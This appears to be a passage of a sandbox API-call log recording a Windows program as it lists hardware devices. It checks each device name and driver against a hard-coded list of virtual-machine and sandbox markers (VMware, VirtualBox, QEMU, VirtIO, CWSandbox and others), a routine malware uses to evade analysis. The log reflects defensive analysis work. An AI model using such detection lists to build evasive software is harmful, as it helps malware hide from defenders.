[0240.516] StrStrIA (lpFirst="usbuhci", lpSrch="vm3dmp") returned 0x0 [0240.516] lstrlenA (lpString="vm3dmp") returned 6 [0240.516] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7b8 | out: hHeap=0x25a0000) returned 1 [0240.516] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261f9f0 [0240.516] StrStrIA (lpFirst="usbuhci", lpSrch="vmrawdsk") returned 0x0 [0240.516] lstrlenA (lpString="vmrawdsk") returned 8 [0240.516] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0240.516] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fac8 [0240.516] StrStrIA (lpFirst="usbuhci", lpSrch="vmx_svga") returned 0x0 [0240.516] lstrlenA (lpString="vmx_svga") returned 8 [0240.516] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0240.516] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f728 [0240.516] StrStrIA (lpFirst="usbuhci", lpSrch="ansfltr") returned 0x0 [0240.517] lstrlenA (lpString="ansfltr") returned 7 [0240.517] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0240.517] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f768 [0240.517] StrStrIA (lpFirst="usbuhci", lpSrch="sbtisht") returned 0x0 [0240.517] lstrlenA (lpString="sbtisht") returned 7 [0240.517] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f768 | out: hHeap=0x25a0000) returned 1 [0240.517] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa98 | out: hHeap=0x25a0000) returned 1 [0240.517] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x5, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0240.517] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.537] GetLastError () returned 0x7a [0240.537] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x3c) returned 0x261f908 [0240.537] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x1e, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0240.545] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fac8 [0240.545] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware Pointing") returned 0x0 [0240.545] lstrlenA (lpString="VMware Pointing") returned 15 [0240.545] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0240.545] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f950 [0240.545] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware Accelerated") returned 0x0 [0240.545] lstrlenA (lpString="VMware Accelerated") returned 18 [0240.546] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f950 | out: hHeap=0x25a0000) returned 1 [0240.546] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fba0 [0240.546] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware SCSI") returned 0x0 [0240.546] lstrlenA (lpString="VMware SCSI") returned 11 [0240.546] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0240.546] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb88 [0240.546] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware SVGA") returned 0x0 [0240.546] lstrlenA (lpString="VMware SVGA") returned 11 [0240.546] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0240.546] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fb58 [0240.546] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware Replay") returned 0x0 [0240.546] lstrlenA (lpString="VMware Replay") returned 13 [0240.546] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0240.546] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f950 [0240.546] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware server memory") returned 0x0 [0240.546] lstrlenA (lpString="VMware server memory") returned 20 [0240.546] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f950 | out: hHeap=0x25a0000) returned 1 [0240.546] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fab0 [0240.546] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="CWSandbox") returned 0x0 [0240.547] lstrlenA (lpString="CWSandbox") returned 9 [0240.547] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0240.547] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fab0 [0240.547] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="Virtual HD") returned 0x0 [0240.547] lstrlenA (lpString="Virtual HD") returned 10 [0240.547] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0240.547] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f7a8 [0240.547] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="QEMU") returned 0x0 [0240.547] lstrlenA (lpString="QEMU") returned 4 [0240.547] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7a8 | out: hHeap=0x25a0000) returned 1 [0240.547] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261f9f0 [0240.547] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0240.547] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0240.547] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0240.547] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb40 [0240.547] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="srootkit") returned 0x0 [0240.547] lstrlenA (lpString="srootkit") returned 8 [0240.547] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb40 | out: hHeap=0x25a0000) returned 1 [0240.547] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa20 [0240.547] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware VMaudio") returned 0x0 [0240.547] lstrlenA (lpString="VMware VMaudio") returned 14 [0240.548] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa20 | out: hHeap=0x25a0000) returned 1 [0240.548] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fbb8 [0240.548] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VMware Vista") returned 0x0 [0240.548] lstrlenA (lpString="VMware Vista") returned 12 [0240.548] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fbb8 | out: hHeap=0x25a0000) returned 1 [0240.548] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa68 [0240.548] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VBoxVideo") returned 0x0 [0240.548] lstrlenA (lpString="VBoxVideo") returned 9 [0240.548] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0240.548] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fab0 [0240.548] StrStrIA (lpFirst="High Definition Audio ???????", lpSrch="VBoxGuest") returned 0x0 [0240.548] lstrlenA (lpString="VBoxGuest") returned 9 [0240.548] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0240.548] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0240.548] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.549] GetLastError () returned 0x7a [0240.549] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f908 [0240.549] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0240.549] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f838 [0240.549] StrStrIA (lpFirst="HDAudBus", lpSrch="vmxnet") returned 0x0 [0240.549] lstrlenA (lpString="vmxnet") returned 6 [0240.549] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f838 | out: hHeap=0x25a0000) returned 1 [0240.549] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f818 [0240.549] StrStrIA (lpFirst="HDAudBus", lpSrch="vmscsi") returned 0x0 [0240.549] lstrlenA (lpString="vmscsi") returned 6 [0240.550] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f818 | out: hHeap=0x25a0000) returned 1 [0240.550] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f778 [0240.550] StrStrIA (lpFirst="HDAudBus", lpSrch="VMAUDIO") returned 0x0 [0240.550] lstrlenA (lpString="VMAUDIO") returned 7 [0240.550] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f778 | out: hHeap=0x25a0000) returned 1 [0240.550] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f728 [0240.550] StrStrIA (lpFirst="HDAudBus", lpSrch="vmdebug") returned 0x0 [0240.550] lstrlenA (lpString="vmdebug") returned 7 [0240.550] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f728 | out: hHeap=0x25a0000) returned 1 [0240.550] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f7d8 [0240.550] StrStrIA (lpFirst="HDAudBus", lpSrch="vm3dmp") returned 0x0 [0240.550] lstrlenA (lpString="vm3dmp") returned 6 [0240.550] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7d8 | out: hHeap=0x25a0000) returned 1 [0240.550] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fb88 [0240.550] StrStrIA (lpFirst="HDAudBus", lpSrch="vmrawdsk") returned 0x0 [0240.550] lstrlenA (lpString="vmrawdsk") returned 8 [0240.550] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb88 | out: hHeap=0x25a0000) returned 1 [0240.550] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fa98 [0240.550] StrStrIA (lpFirst="HDAudBus", lpSrch="vmx_svga") returned 0x0 [0240.550] lstrlenA (lpString="vmx_svga") returned 8 [0240.551] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa98 | out: hHeap=0x25a0000) returned 1 [0240.551] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f888 [0240.551] StrStrIA (lpFirst="HDAudBus", lpSrch="ansfltr") returned 0x0 [0240.551] lstrlenA (lpString="ansfltr") returned 7 [0240.551] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f888 | out: hHeap=0x25a0000) returned 1 [0240.551] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7d8 [0240.551] StrStrIA (lpFirst="HDAudBus", lpSrch="sbtisht") returned 0x0 [0240.551] lstrlenA (lpString="sbtisht") returned 7 [0240.551] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7d8 | out: hHeap=0x25a0000) returned 1 [0240.551] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0240.551] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x6, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0240.551] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0240.879] GetLastError () returned 0x7a [0240.879] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x2a) returned 0x261f908 [0240.879] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x15, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.017] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fa08 [0241.017] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Pointing") returned 0x0 [0241.017] lstrlenA (lpString="VMware Pointing") returned 15 [0241.017] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0241.017] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f940 [0241.017] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Accelerated") returned 0x0 [0241.018] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.018] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f940 | out: hHeap=0x25a0000) returned 1 [0241.018] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fac8 [0241.018] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware SCSI") returned 0x0 [0241.018] lstrlenA (lpString="VMware SCSI") returned 11 [0241.018] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fac8 | out: hHeap=0x25a0000) returned 1 [0241.018] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fb58 [0241.018] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware SVGA") returned 0x0 [0241.018] lstrlenA (lpString="VMware SVGA") returned 11 [0241.018] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb58 | out: hHeap=0x25a0000) returned 1 [0241.018] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261f9f0 [0241.018] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Replay") returned 0x0 [0241.018] lstrlenA (lpString="VMware Replay") returned 13 [0241.018] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.018] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f940 [0241.018] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware server memory") returned 0x0 [0241.018] lstrlenA (lpString="VMware server memory") returned 20 [0241.018] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f940 | out: hHeap=0x25a0000) returned 1 [0241.018] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fba0 [0241.018] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="CWSandbox") returned 0x0 [0241.018] lstrlenA (lpString="CWSandbox") returned 9 [0241.019] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.019] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261f9f0 [0241.019] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="Virtual HD") returned 0x0 [0241.019] lstrlenA (lpString="Virtual HD") returned 10 [0241.019] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f9f0 | out: hHeap=0x25a0000) returned 1 [0241.019] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x5) returned 0x261f8f8 [0241.019] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="QEMU") returned 0x0 [0241.019] lstrlenA (lpString="QEMU") returned 4 [0241.019] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f8f8 | out: hHeap=0x25a0000) returned 1 [0241.019] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fa68 [0241.019] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="Red Hat VirtIO") returned 0x0 [0241.019] lstrlenA (lpString="Red Hat VirtIO") returned 14 [0241.019] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa68 | out: hHeap=0x25a0000) returned 1 [0241.019] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fae0 [0241.019] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="srootkit") returned 0x0 [0241.019] lstrlenA (lpString="srootkit") returned 8 [0241.019] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0241.019] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xf) returned 0x261fae0 [0241.019] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware VMaudio") returned 0x0 [0241.019] lstrlenA (lpString="VMware VMaudio") returned 14 [0241.019] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0241.019] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xd) returned 0x261fba0 [0241.019] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Vista") returned 0x0 [0241.019] lstrlenA (lpString="VMware Vista") returned 12 [0241.019] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.019] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fb28 [0241.020] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VBoxVideo") returned 0x0 [0241.020] lstrlenA (lpString="VBoxVideo") returned 9 [0241.020] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fb28 | out: hHeap=0x25a0000) returned 1 [0241.020] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa50 [0241.020] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VBoxGuest") returned 0x0 [0241.020] lstrlenA (lpString="VBoxGuest") returned 9 [0241.020] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0241.020] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.020] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.020] GetLastError () returned 0x7a [0241.020] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x12) returned 0x261f908 [0241.021] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x4, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x9, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.021] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f878 [0241.021] StrStrIA (lpFirst="storahci", lpSrch="vmxnet") returned 0x0 [0241.021] lstrlenA (lpString="vmxnet") returned 6 [0241.021] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f878 | out: hHeap=0x25a0000) returned 1 [0241.021] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f7b8 [0241.021] StrStrIA (lpFirst="storahci", lpSrch="vmscsi") returned 0x0 [0241.021] lstrlenA (lpString="vmscsi") returned 6 [0241.021] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7b8 | out: hHeap=0x25a0000) returned 1 [0241.021] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7b8 [0241.021] StrStrIA (lpFirst="storahci", lpSrch="VMAUDIO") returned 0x0 [0241.021] lstrlenA (lpString="VMAUDIO") returned 7 [0241.021] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7b8 | out: hHeap=0x25a0000) returned 1 [0241.021] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f758 [0241.021] StrStrIA (lpFirst="storahci", lpSrch="vmdebug") returned 0x0 [0241.021] lstrlenA (lpString="vmdebug") returned 7 [0241.021] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f758 | out: hHeap=0x25a0000) returned 1 [0241.021] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x7) returned 0x261f7b8 [0241.021] StrStrIA (lpFirst="storahci", lpSrch="vm3dmp") returned 0x0 [0241.022] lstrlenA (lpString="vm3dmp") returned 6 [0241.022] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7b8 | out: hHeap=0x25a0000) returned 1 [0241.022] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fab0 [0241.022] StrStrIA (lpFirst="storahci", lpSrch="vmrawdsk") returned 0x0 [0241.022] lstrlenA (lpString="vmrawdsk") returned 8 [0241.022] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fab0 | out: hHeap=0x25a0000) returned 1 [0241.022] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x9) returned 0x261fba0 [0241.022] StrStrIA (lpFirst="storahci", lpSrch="vmx_svga") returned 0x0 [0241.022] lstrlenA (lpString="vmx_svga") returned 8 [0241.022] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.022] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f7f8 [0241.022] StrStrIA (lpFirst="storahci", lpSrch="ansfltr") returned 0x0 [0241.022] lstrlenA (lpString="ansfltr") returned 7 [0241.022] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f7f8 | out: hHeap=0x25a0000) returned 1 [0241.022] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x8) returned 0x261f888 [0241.022] StrStrIA (lpFirst="storahci", lpSrch="sbtisht") returned 0x0 [0241.022] lstrlenA (lpString="sbtisht") returned 7 [0241.022] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f888 | out: hHeap=0x25a0000) returned 1 [0241.022] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f908 | out: hHeap=0x25a0000) returned 1 [0241.022] SetupDiEnumDeviceInfo (in: DeviceInfoSet=0x63da28, MemberIndex=0x7, DeviceInfoData=0x19fef4 | out: DeviceInfoData=0x19fef4) returned 1 [0241.022] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, PropertyBufferSize=0x0, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x0, RequiredSize=0x19fe7c) returned 0 [0241.100] GetLastError () returned 0x7a [0241.100] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x2a) returned 0x261f908 [0241.100] SetupDiGetDeviceRegistryPropertyA (in: DeviceInfoSet=0x63da28, DeviceInfoData=0x19fef4, Property=0x0, PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, PropertyBufferSize=0x15, RequiredSize=0x19fe7c | out: PropertyRegDataType=0x19fe80, PropertyBuffer=0x261f908, RequiredSize=0x19fe7c) returned 1 [0241.159] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x10) returned 0x261fae0 [0241.160] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Pointing") returned 0x0 [0241.160] lstrlenA (lpString="VMware Pointing") returned 15 [0241.160] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fae0 | out: hHeap=0x25a0000) returned 1 [0241.160] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x13) returned 0x261f940 [0241.160] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Accelerated") returned 0x0 [0241.160] lstrlenA (lpString="VMware Accelerated") returned 18 [0241.160] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f940 | out: hHeap=0x25a0000) returned 1 [0241.160] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fba0 [0241.160] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware SCSI") returned 0x0 [0241.160] lstrlenA (lpString="VMware SCSI") returned 11 [0241.160] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fba0 | out: hHeap=0x25a0000) returned 1 [0241.160] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xc) returned 0x261fa50 [0241.160] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware SVGA") returned 0x0 [0241.160] lstrlenA (lpString="VMware SVGA") returned 11 [0241.160] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa50 | out: hHeap=0x25a0000) returned 1 [0241.160] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xe) returned 0x261fa08 [0241.161] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware Replay") returned 0x0 [0241.161] lstrlenA (lpString="VMware Replay") returned 13 [0241.161] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa08 | out: hHeap=0x25a0000) returned 1 [0241.161] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0x15) returned 0x261f940 [0241.161] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="VMware server memory") returned 0x0 [0241.161] lstrlenA (lpString="VMware server memory") returned 20 [0241.161] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261f940 | out: hHeap=0x25a0000) returned 1 [0241.161] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xa) returned 0x261fa38 [0241.161] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="CWSandbox") returned 0x0 [0241.161] lstrlenA (lpString="CWSandbox") returned 9 [0241.161] HeapFree (in: hHeap=0x25a0000, dwFlags=0x0, lpMem=0x261fa38 | out: hHeap=0x25a0000) returned 1 [0241.161] RtlAllocateHeap (HeapHandle=0x25a0000, Flags=0x8, Size=0xb) returned 0x261fac8 [0241.161] StrStrIA (lpFirst="?? SATA AHCI ???????", lpSrch="Virtual HD") returned 0x0 [0241.161] lstrlenA (lpString="Virtual HD") returned 